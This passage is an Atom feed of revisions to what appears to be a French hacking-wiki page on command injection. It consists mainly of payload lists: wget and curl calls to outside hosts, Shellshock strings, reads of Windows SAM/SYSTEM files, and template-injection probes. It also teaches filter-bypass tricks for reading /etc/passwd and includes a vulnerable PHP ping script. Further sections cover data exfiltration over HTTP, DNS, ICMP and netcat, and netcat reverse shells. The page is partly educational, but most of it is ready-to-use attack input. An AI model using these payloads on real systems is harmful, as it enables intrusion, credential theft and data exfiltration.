 system('wget https://xerosecurity.com/.testing/rce_vuln.txt');&lt;br /&gt;
 system('whoami')&lt;br /&gt;
 system('whoami');&lt;br /&gt;
 test*; ls -lhtR /var/www/&lt;br /&gt;
 test* || perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test* | perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test* &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test* &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 test*; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 $(`type C:\boot.ini`)&lt;br /&gt;
 &amp;amp;&amp;amp;type C:\\boot.ini&lt;br /&gt;
 | type C:\Windows\repair\SAM&lt;br /&gt;
 ; type C:\Windows\repair\SAM&lt;br /&gt;
 &amp;amp; type C:\Windows\repair\SAM&lt;br /&gt;
 &amp;amp;&amp;amp; type C:\Windows\repair\SAM&lt;br /&gt;
 type C:\Windows\repair\SAM&lt;br /&gt;
 | type C:\Windows\repair\SYSTEM&lt;br /&gt;
 ; type C:\Windows\repair\SYSTEM&lt;br /&gt;
 &amp;amp; type C:\Windows\repair\SYSTEM&lt;br /&gt;
 &amp;amp;&amp;amp; type C:\Windows\repair\SYSTEM&lt;br /&gt;
 type C:\Windows\repair\SYSTEM&lt;br /&gt;
 | type C:\WINNT\repair\SAM&lt;br /&gt;
 ; type C:\WINNT\repair\SAM&lt;br /&gt;
 &amp;amp; type C:\WINNT\repair\SAM&lt;br /&gt;
 &amp;amp;&amp;amp; type C:\WINNT\repair\SAM&lt;br /&gt;
 type C:\WINNT\repair\SAM&lt;br /&gt;
 type C:\WINNT\repair\SYSTEM&lt;br /&gt;
 | type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 ; type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 &amp;amp; type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 &amp;amp;&amp;amp; type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 type %SYSTEMROOT%\repair\SAM&lt;br /&gt;
 | type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 ; type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 &amp;amp; type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 &amp;amp;&amp;amp; type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 type %SYSTEMROOT%\repair\SYSTEM&lt;br /&gt;
 uname&lt;br /&gt;
 ;uname;&lt;br /&gt;
 | uname -a&lt;br /&gt;
 ; uname -a&lt;br /&gt;
 &amp;amp; uname -a&lt;br /&gt;
 &amp;amp;&amp;amp; uname -a&lt;br /&gt;
 uname -a&lt;br /&gt;
 |/usr/bin/id&lt;br /&gt;
 ;|/usr/bin/id|&lt;br /&gt;
 ;/usr/bin/id|&lt;br /&gt;
 $;/usr/bin/id&lt;br /&gt;
 () { :;};/usr/bin/perl -e 'print \&amp;quot;Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\&amp;quot;;system(\&amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=13;curl http://135.23.158.130/.testing/shellshock.txt?vuln=15;\&amp;quot;);'&lt;br /&gt;
 () { :;}; wget http://135.23.158.130/.testing/shellshock.txt?vuln=11&lt;br /&gt;
 | wget http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 &amp;amp; wget http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 ; wget https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 $(`wget https://crowdshield.com/.testing/rce_vuln.txt`)&lt;br /&gt;
 &amp;amp;&amp;amp; wget https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 wget https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 $(`wget https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)&lt;br /&gt;
 which curl&lt;br /&gt;
 which gcc&lt;br /&gt;
 which nc&lt;br /&gt;
 which netcat&lt;br /&gt;
 which perl&lt;br /&gt;
 which python&lt;br /&gt;
 which wget&lt;br /&gt;
 whoami&lt;br /&gt;
 | whoami&lt;br /&gt;
 ; whoami&lt;br /&gt;
 ' whoami&lt;br /&gt;
 ' || whoami&lt;br /&gt;
 ' &amp;amp; whoami&lt;br /&gt;
 ' &amp;amp;&amp;amp; whoami&lt;br /&gt;
 '; whoami&lt;br /&gt;
 &amp;quot; whoami&lt;br /&gt;
 &amp;quot; || whoami&lt;br /&gt;
 &amp;quot; | whoami&lt;br /&gt;
 &amp;quot; &amp;amp; whoami&lt;br /&gt;
 &amp;quot; &amp;amp;&amp;amp; whoami&lt;br /&gt;
 &amp;quot;; whoami&lt;br /&gt;
 $(`whoami`)&lt;br /&gt;
 &amp;amp; whoami&lt;br /&gt;
 &amp;amp;&amp;amp; whoami&lt;br /&gt;
 {{ get_user_file(&amp;quot;C:\boot.ini&amp;quot;) }}&lt;br /&gt;
 {{ get_user_file(&amp;quot;/etc/hosts&amp;quot;) }}&lt;br /&gt;
 {{4+4}}&lt;br /&gt;
 {{4+8}}&lt;br /&gt;
 {{person.secret}}&lt;br /&gt;
 {{person.name}}&lt;br /&gt;
 {1} + {1}&lt;br /&gt;
 {% For c in [1,2,3]%} {{c, c, c}} {% endfor%}&lt;br /&gt;
 {{[] .__ Class __.__ base __.__ subclasses __ ()}}&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection&lt;br /&gt;
*https://github.com/payloadbox/command-injection-payload-list&lt;br /&gt;
*https://book.hacktricks.xyz/pentesting-web/command-injection&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93570</id>
		<title>Web:Injection de Commandes</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93570"/>
		<updated>2023-12-02T17:42:42Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Références */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Lors de &amp;lt;b&amp;gt;l'exécution d'une commande en ligne&amp;lt;/b&amp;gt; prenant en paramètre une &amp;lt;b&amp;gt;entrée utilisateur&amp;lt;/b&amp;gt;, il est parfois possible de &amp;lt;b&amp;gt;s'évader du champ d'action&amp;lt;/b&amp;gt; prévu par l'ajout de &amp;lt;b&amp;gt;certains caractères&amp;lt;/b&amp;gt;:&lt;br /&gt;
== Les Métacharacteres ==&lt;br /&gt;
  ;	| Le point-virgule est le métacaractère le plus couramment utilisé pour tester une faille d'injection. Le shell exécute toutes les commandes séparées par le point-virgule.&lt;br /&gt;
  &amp;amp;	| Il sépare plusieurs commandes sur une ligne de commande. Il exécute la première commande puis la seconde.&lt;br /&gt;
 &amp;amp;&amp;amp; | Si la commande précédente à &amp;amp;&amp;amp; est réussie, alors seulement elle exécute la commande suivante.&lt;br /&gt;
  |	| Redirige les sorties standard de la première commande vers l'entrée standard de la deuxième commande.&lt;br /&gt;
 ||	| Le || n'exécute la commande suivante que si la commande précédente échoue.&lt;br /&gt;
 ``	| Le métacaractère &amp;quot;unquote&amp;quot; est utilisé pour forcer le shell à interpréter et à exécuter la commande à l'interieur. Ex: '$ Variable=&amp;quot;OS version `uname -a`&amp;quot; &amp;amp;&amp;amp; echo $variable'&lt;br /&gt;
&lt;br /&gt;
Exemple simple de script PHP utilisant ping.&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
    if(isset($_POST[&amp;quot;ip&amp;quot;]) &amp;amp;&amp;amp; !empty($_POST[&amp;quot;ip&amp;quot;])){&lt;br /&gt;
        $response = shell_exec(&amp;quot;timeout 5 bash -c 'ping -c 3 &amp;quot;.$_POST[&amp;quot;ip&amp;quot;].&amp;quot;'&amp;quot;);&lt;br /&gt;
        echo $response;&lt;br /&gt;
    }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Au lieu de fournir une ip, il est possible d'injecter une commade par l'utilisation des métacharacteres.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%20-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%09-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
== Afficher le contenu d'un fichier PHP ==&lt;br /&gt;
L'injection de la commande &amp;lt;b&amp;gt;;php -s file.php&amp;lt;/b&amp;gt; va permettre d'afficher le contenu du fichier php plutôt que &amp;lt;b&amp;gt;;cat file.php&amp;lt;/b&amp;gt; qui risque lui d'être exécuté.&lt;br /&gt;
&lt;br /&gt;
== Contournement de filtres ==&lt;br /&gt;
Si certain &amp;lt;b&amp;gt;filtres&amp;lt;/b&amp;gt; sont en place, par exemple en supprimant les caractères d'évasion, on peut tenter un &amp;lt;b&amp;gt;retour à la ligne&amp;lt;/b&amp;gt; via l'ajout de &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La commande suivant le &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt; sera alors exécutée.&lt;br /&gt;
&lt;br /&gt;
=== Exemple de filtre maison ===&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
     $substitutions = array(&lt;br /&gt;
         '&amp;amp;'  =&amp;gt; '',&lt;br /&gt;
         ';'  =&amp;gt; '',&lt;br /&gt;
         '| ' =&amp;gt; '',&lt;br /&gt;
         '-'  =&amp;gt; '',&lt;br /&gt;
         '$'  =&amp;gt; '',&lt;br /&gt;
         '('  =&amp;gt; '',&lt;br /&gt;
         ')'  =&amp;gt; '',&lt;br /&gt;
         '`'  =&amp;gt; '',&lt;br /&gt;
         '||' =&amp;gt; '',&lt;br /&gt;
     );&lt;br /&gt;
&lt;br /&gt;
On remarque le &amp;lt;b&amp;gt;'| '&amp;lt;/b&amp;gt;, ce qui veut dire que le &amp;lt;b&amp;gt;'|'&amp;lt;/b&amp;gt; n'est pas filtré s'il n'est pas suivi d'un espace. En y allant à taton on peut retrouver certaines règles.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0;.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;12&amp;amp;7.0.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Il est donc primordial de jouer avec les espaces!&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1|cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1 |cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1| cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Une commande possible serait donc:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;b&amp;gt;127.0.0.1%0als -la&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On peut se retrouver &amp;lt;b&amp;gt;bloquer&amp;lt;/b&amp;gt; par &amp;lt;b&amp;gt;l'encodage des caractères spéciaux&amp;lt;/b&amp;gt; via les formulaires web (&amp;lt;b&amp;gt;127.0.0.1%250als -la&amp;lt;/b&amp;gt;), il semblerait que curl soit plus permissif, ou alors il faudrait modifier directement le &amp;lt;b&amp;gt;header&amp;lt;/b&amp;gt; avant l'envoie de la requête.&lt;br /&gt;
&lt;br /&gt;
=== Autre type de filtres ===&lt;br /&gt;
==== Double Encoding ====&lt;br /&gt;
Dans le cas oú l'on aurait quelque chose comme ça:&lt;br /&gt;
&lt;br /&gt;
 str_replace(&amp;quot;%26&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
On donc peut tenter un &amp;lt;b&amp;gt;double encoding&amp;lt;/b&amp;gt; &amp;lt;b&amp;gt;%%2626&amp;lt;/b&amp;gt; deviendra alors &amp;lt;b&amp;gt;%26&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Sans Espaces ====&lt;br /&gt;
Dans le cas oú les espaces serait supprimmés:&lt;br /&gt;
&lt;br /&gt;
===== Le Bash Internal Field Separator: $IFS =====&lt;br /&gt;
&lt;br /&gt;
 ;cat${IFS}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== SI IFS est blacklisté =====&lt;br /&gt;
&lt;br /&gt;
 ;{cat,/etc/passwd}&lt;br /&gt;
&lt;br /&gt;
===== Utilisation de TAB =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%09/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Line-Feed in the middle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%0a/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Utilisation du '+' =====&lt;br /&gt;
&lt;br /&gt;
 ;cat+/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Env Variable =====&lt;br /&gt;
 ;$var='x20';cat${var}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Sans $ ni {} =====&lt;br /&gt;
 ;IFS=,;`cat&amp;lt;&amp;lt;&amp;lt;/etc,/passwd`&lt;br /&gt;
&lt;br /&gt;
==== Certains mots blacklistés ====&lt;br /&gt;
Si &amp;quot;cat&amp;quot; ou &amp;quot;passwd&amp;quot; ou &amp;quot;nimp&amp;quot; est blacklisté:&lt;br /&gt;
&lt;br /&gt;
===== The Wildcard caracters =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/cat /etc/passwd == ;/b*n/c /et*/pawd == ;/b?n/c?? /et?/pa??wd&lt;br /&gt;
&lt;br /&gt;
===== Unitialized variable $u qui a une valeur nulle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat$u /etc$u/passwd&lt;br /&gt;
&lt;br /&gt;
===== Null Variable =====&lt;br /&gt;
&lt;br /&gt;
 ;cat /et``c/pas``swd&lt;br /&gt;
 ;cat /e$()tc/pa$()sswd&lt;br /&gt;
 ;cat /etc$(dlam)/pa$(erde)sswd&lt;br /&gt;
&lt;br /&gt;
===== Troncation par quote, double quotes, ou backslash =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/c&amp;quot;at&amp;quot; /e&amp;quot;tc&amp;quot;/pa&amp;quot;ss&amp;quot;wd&lt;br /&gt;
 ;/b'i'n/c'a't /e't'c/p'a's's'w'd'&lt;br /&gt;
 ;c\at /e\tc/pa\s\swd/&lt;br /&gt;
&lt;br /&gt;
===== $@ =====&lt;br /&gt;
 ;c$@at /etc/passwd&lt;br /&gt;
&lt;br /&gt;
==== Sans Slash ====&lt;br /&gt;
Si le slah est filtré on peut utilisé ${HOME:0;1} qui représente un slash:&lt;br /&gt;
&lt;br /&gt;
 ;cat ${HOME:0;1}etc${HOME:0;1}passwd&lt;br /&gt;
&lt;br /&gt;
==== ${SHELLOPTS} ====&lt;br /&gt;
De la même façon on peut utilisé ${SHELLOPTS} pour représenter un caractère spécifique:&lt;br /&gt;
&lt;br /&gt;
 ${SHELLOPTS:3:1} représente un c.&lt;br /&gt;
 ${SHELLOPTS:2:1} représente un a.&lt;br /&gt;
 (À creuser...)&lt;br /&gt;
 ;${SHELLOPTS:3:1}at /etc/p${SHELLOPTS:2:1}sswd&lt;br /&gt;
&lt;br /&gt;
==== Reverse and Encode ====&lt;br /&gt;
 ;`echo &amp;quot;dwssap/cte/ tac | rev`&lt;br /&gt;
 ;$(echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d)&lt;br /&gt;
&lt;br /&gt;
==== Hexadecimal encode ====&lt;br /&gt;
&lt;br /&gt;
 ;echo -e &amp;quot;x2fx65x74x63x2fx70x61x73x73x77x64&amp;quot; 	# (/etc/passwd)&lt;br /&gt;
&lt;br /&gt;
== Cheat Sheet ==&lt;br /&gt;
=== Top 25 des paramètres pouvant conduire à une injection ===&lt;br /&gt;
 ?cmd={payload}&lt;br /&gt;
 ?exec={payload}&lt;br /&gt;
 ?command={payload}&lt;br /&gt;
 ?execute{payload}&lt;br /&gt;
 ?ping={payload}&lt;br /&gt;
 ?query={payload}&lt;br /&gt;
 ?jump={payload}&lt;br /&gt;
 ?code={payload}&lt;br /&gt;
 ?reg={payload}&lt;br /&gt;
 ?do={payload}&lt;br /&gt;
 ?func={payload}&lt;br /&gt;
 ?arg={payload}&lt;br /&gt;
 ?option={payload}&lt;br /&gt;
 ?load={payload}&lt;br /&gt;
 ?process={payload}&lt;br /&gt;
 ?step={payload}&lt;br /&gt;
 ?read={payload}&lt;br /&gt;
 ?function={payload}&lt;br /&gt;
 ?req={payload}&lt;br /&gt;
 ?feature={payload}&lt;br /&gt;
 ?exe={payload}&lt;br /&gt;
 ?module={payload}&lt;br /&gt;
 ?payload={payload}&lt;br /&gt;
 ?run={payload}&lt;br /&gt;
 ?print={payload}&lt;br /&gt;
&lt;br /&gt;
=== Fonctions PHP vulnérables ===&lt;br /&gt;
 system()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 ioctl_exec()&lt;br /&gt;
 eio_syncfs()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 popen()&lt;br /&gt;
&lt;br /&gt;
Command Execution Function Filtered possible Bypass with encoding&lt;br /&gt;
 system()&lt;br /&gt;
 passthru()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 popen()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 Reverse quotation marks are identical shell_exec()&lt;br /&gt;
&lt;br /&gt;
=== Command Injection/Execution Cheat Sheet ===&lt;br /&gt;
 #Both Unix and Windows supported&lt;br /&gt;
 ls||id; ls ||id; ls|| id; ls || id # Execute both&lt;br /&gt;
 ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)&lt;br /&gt;
 ls&amp;amp;&amp;amp;id; ls &amp;amp;&amp;amp;id; ls&amp;amp;&amp;amp; id; ls &amp;amp;&amp;amp; id #  Execute 2º if 1º finish ok&lt;br /&gt;
 ls&amp;amp;id; ls &amp;amp;id; ls&amp;amp; id; ls &amp;amp; id # Execute both but you can only see the output of the 2º&lt;br /&gt;
 ls %0A id # %0A Execute both (RECOMMENDED)&lt;br /&gt;
​&lt;br /&gt;
 #Only unix supported&lt;br /&gt;
 `ls` # ``&lt;br /&gt;
 $(ls) # $()&lt;br /&gt;
 ls; id # ; Chain commands&lt;br /&gt;
​&lt;br /&gt;
 #Not execute but may be interesting&lt;br /&gt;
 &amp;gt; /var/www/html/out.txt #Try to redirect the output to a file&lt;br /&gt;
 &amp;lt; /etc/passwd #Try to send some input to the command&lt;br /&gt;
&lt;br /&gt;
=== DATA Exfiltration ===&lt;br /&gt;
Il est parfois possible de ne pas avoir de retour de la commande injectée, on peut alors passer par une requête POST et s'envoyer n'importe quel fichier. ([https://requestcatcher.com/])&lt;br /&gt;
&lt;br /&gt;
==== cURL ====&lt;br /&gt;
 $ curl -d &amp;quot;ip=127.0.0.1%0acurl -d&amp;quot;@Any_File&amp;quot; -X POST &amp;quot;https://requestbin.net/r/dyc3s5m8&amp;quot;&amp;quot; -X POST http://exemple.com/index.php&lt;br /&gt;
 $ curl -d &amp;quot;@file&amp;quot; -X POST http://domain.com&lt;br /&gt;
&lt;br /&gt;
==== cURL avec FTP ====&lt;br /&gt;
 $ curl -T file ftp://ip -user nick:pass&lt;br /&gt;
&lt;br /&gt;
==== Netcat ====&lt;br /&gt;
 $ nc -l -p {port} &amp;lt; {file to extract}&lt;br /&gt;
&lt;br /&gt;
==== ICMP ====&lt;br /&gt;
Si l'hôte que vous visez a été renforcé et que des outils tels que netcat, wget et CURL ont été supprimés, vous pouvez encore utiliser certaines techniques.  Essayez de faire en sorte que l'hôte envoie un ping à votre boîte et voyez si le protocole ICMP passe à travers les pare-feux qui interviennent.  Si c'est le cas, et que l'hôte sous-jacent tourne sous Linux, nous pouvons exfiltrer des données dans les requêtes ICMP en utilisant l'indicateur -p.  L'option -p vous permet de spécifier jusqu'à 16 octets de &amp;quot;pad&amp;quot;. C'est là que nous stockerons les données que nous voulons exfiltrer.&lt;br /&gt;
&lt;br /&gt;
Nous devons d'abord convertir le fichier en hexadécimal, puis spécifier les données à insérer dans le paquet. Ceci peut être fait avec la ligne suivante :&lt;br /&gt;
 cat password.txt | xxd -p -c 16 | while read exfile; do ping -p $exfile -c 1 xxx.xxx.xxx.xxx; done&lt;br /&gt;
&lt;br /&gt;
Avec Wireshark, nous pouvons observer les paquets contenant nos données.  Vous pouvez écrire un script qui récupère les paquets et réassemble le fichier sur l'hôte.&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
De la même manière que ping, DNS peut également être utilisé pour exfiltrer des données. Cette fois, nous allons utiliser chaque ligne de données comme nom d'hôte d'une requête DNS. En surveillant le trafic sur notre machine, nous pouvons réassembler le fichier. Dans ce cas, la commande suivante est soumise dans le cadre de notre requête au serveur vulnérable :&lt;br /&gt;
 cat password.txt | while read exfile; do host $exfile.contextis.com xxx.xxx.xxx.xxx; done&lt;br /&gt;
 for i in $(cat password.txt); do host $i.hkj.com; done&lt;br /&gt;
&lt;br /&gt;
Comme pour le ping, vous pouvez écrire un script pour récupérer les paquets DNS entrants et réassembler le fichier.&lt;br /&gt;
&lt;br /&gt;
==== Time based data exfiltration ====&lt;br /&gt;
Extraction caractère par caractère :&lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi&lt;br /&gt;
 real    0m5.007s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
 &lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi&lt;br /&gt;
 real    0m0.002s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shell ====&lt;br /&gt;
Avec Netcat:&lt;br /&gt;
 nc -L -p port -e cmd.exe 	(Windows)&lt;br /&gt;
 nc -l -p port -e /bin/bash 	(*nix)&lt;br /&gt;
&lt;br /&gt;
===== Se connecter =====&lt;br /&gt;
====== Netcat ======&lt;br /&gt;
 $ nc {ip} {port}&lt;br /&gt;
 $ nc {ip} {port} &amp;gt; output&lt;br /&gt;
&lt;br /&gt;
(Windows)&lt;br /&gt;
 type {file to extract} | nc -L -p {port}&lt;br /&gt;
&lt;br /&gt;
====== wget ======&lt;br /&gt;
 wget --post-data exfile=`cat /path/to/file` http://domain.com&lt;br /&gt;
 wget --post-file file http://domain.com&lt;br /&gt;
&lt;br /&gt;
====== Telnet ======&lt;br /&gt;
 telnet ip port &amp;lt; file&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection&lt;br /&gt;
*https://github.com/payloadbox/command-injection-payload-list&lt;br /&gt;
*https://book.hacktricks.xyz/pentesting-web/command-injection&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93569</id>
		<title>Web:Injection de Commandes</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Injection_de_Commandes&amp;diff=93569"/>
		<updated>2023-12-02T17:38:24Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* ${SHELLOPTS} */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Lors de &amp;lt;b&amp;gt;l'exécution d'une commande en ligne&amp;lt;/b&amp;gt; prenant en paramètre une &amp;lt;b&amp;gt;entrée utilisateur&amp;lt;/b&amp;gt;, il est parfois possible de &amp;lt;b&amp;gt;s'évader du champ d'action&amp;lt;/b&amp;gt; prévu par l'ajout de &amp;lt;b&amp;gt;certains caractères&amp;lt;/b&amp;gt;:&lt;br /&gt;
== Les Métacharacteres ==&lt;br /&gt;
  ;	| Le point-virgule est le métacaractère le plus couramment utilisé pour tester une faille d'injection. Le shell exécute toutes les commandes séparées par le point-virgule.&lt;br /&gt;
  &amp;amp;	| Il sépare plusieurs commandes sur une ligne de commande. Il exécute la première commande puis la seconde.&lt;br /&gt;
 &amp;amp;&amp;amp; | Si la commande précédente à &amp;amp;&amp;amp; est réussie, alors seulement elle exécute la commande suivante.&lt;br /&gt;
  |	| Redirige les sorties standard de la première commande vers l'entrée standard de la deuxième commande.&lt;br /&gt;
 ||	| Le || n'exécute la commande suivante que si la commande précédente échoue.&lt;br /&gt;
 ``	| Le métacaractère &amp;quot;unquote&amp;quot; est utilisé pour forcer le shell à interpréter et à exécuter la commande à l'interieur. Ex: '$ Variable=&amp;quot;OS version `uname -a`&amp;quot; &amp;amp;&amp;amp; echo $variable'&lt;br /&gt;
&lt;br /&gt;
Exemple simple de script PHP utilisant ping.&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
    if(isset($_POST[&amp;quot;ip&amp;quot;]) &amp;amp;&amp;amp; !empty($_POST[&amp;quot;ip&amp;quot;])){&lt;br /&gt;
        $response = shell_exec(&amp;quot;timeout 5 bash -c 'ping -c 3 &amp;quot;.$_POST[&amp;quot;ip&amp;quot;].&amp;quot;'&amp;quot;);&lt;br /&gt;
        echo $response;&lt;br /&gt;
    }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Au lieu de fournir une ip, il est possible d'injecter une commade par l'utilisation des métacharacteres.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%20-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%09-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
== Afficher le contenu d'un fichier PHP ==&lt;br /&gt;
L'injection de la commande &amp;lt;b&amp;gt;;php -s file.php&amp;lt;/b&amp;gt; va permettre d'afficher le contenu du fichier php plutôt que &amp;lt;b&amp;gt;;cat file.php&amp;lt;/b&amp;gt; qui risque lui d'être exécuté.&lt;br /&gt;
&lt;br /&gt;
== Contournement de filtres ==&lt;br /&gt;
Si certain &amp;lt;b&amp;gt;filtres&amp;lt;/b&amp;gt; sont en place, par exemple en supprimant les caractères d'évasion, on peut tenter un &amp;lt;b&amp;gt;retour à la ligne&amp;lt;/b&amp;gt; via l'ajout de &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La commande suivant le &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt; sera alors exécutée.&lt;br /&gt;
&lt;br /&gt;
=== Exemple de filtre maison ===&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
     $substitutions = array(&lt;br /&gt;
         '&amp;amp;'  =&amp;gt; '',&lt;br /&gt;
         ';'  =&amp;gt; '',&lt;br /&gt;
         '| ' =&amp;gt; '',&lt;br /&gt;
         '-'  =&amp;gt; '',&lt;br /&gt;
         '$'  =&amp;gt; '',&lt;br /&gt;
         '('  =&amp;gt; '',&lt;br /&gt;
         ')'  =&amp;gt; '',&lt;br /&gt;
         '`'  =&amp;gt; '',&lt;br /&gt;
         '||' =&amp;gt; '',&lt;br /&gt;
     );&lt;br /&gt;
&lt;br /&gt;
On remarque le &amp;lt;b&amp;gt;'| '&amp;lt;/b&amp;gt;, ce qui veut dire que le &amp;lt;b&amp;gt;'|'&amp;lt;/b&amp;gt; n'est pas filtré s'il n'est pas suivi d'un espace. En y allant à taton on peut retrouver certaines règles.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0;.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;12&amp;amp;7.0.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Il est donc primordial de jouer avec les espaces!&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1|cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1 |cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1| cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Une commande possible serait donc:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;b&amp;gt;127.0.0.1%0als -la&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On peut se retrouver &amp;lt;b&amp;gt;bloquer&amp;lt;/b&amp;gt; par &amp;lt;b&amp;gt;l'encodage des caractères spéciaux&amp;lt;/b&amp;gt; via les formulaires web (&amp;lt;b&amp;gt;127.0.0.1%250als -la&amp;lt;/b&amp;gt;), il semblerait que curl soit plus permissif, ou alors il faudrait modifier directement le &amp;lt;b&amp;gt;header&amp;lt;/b&amp;gt; avant l'envoie de la requête.&lt;br /&gt;
&lt;br /&gt;
=== Autre type de filtres ===&lt;br /&gt;
==== Double Encoding ====&lt;br /&gt;
Dans le cas oú l'on aurait quelque chose comme ça:&lt;br /&gt;
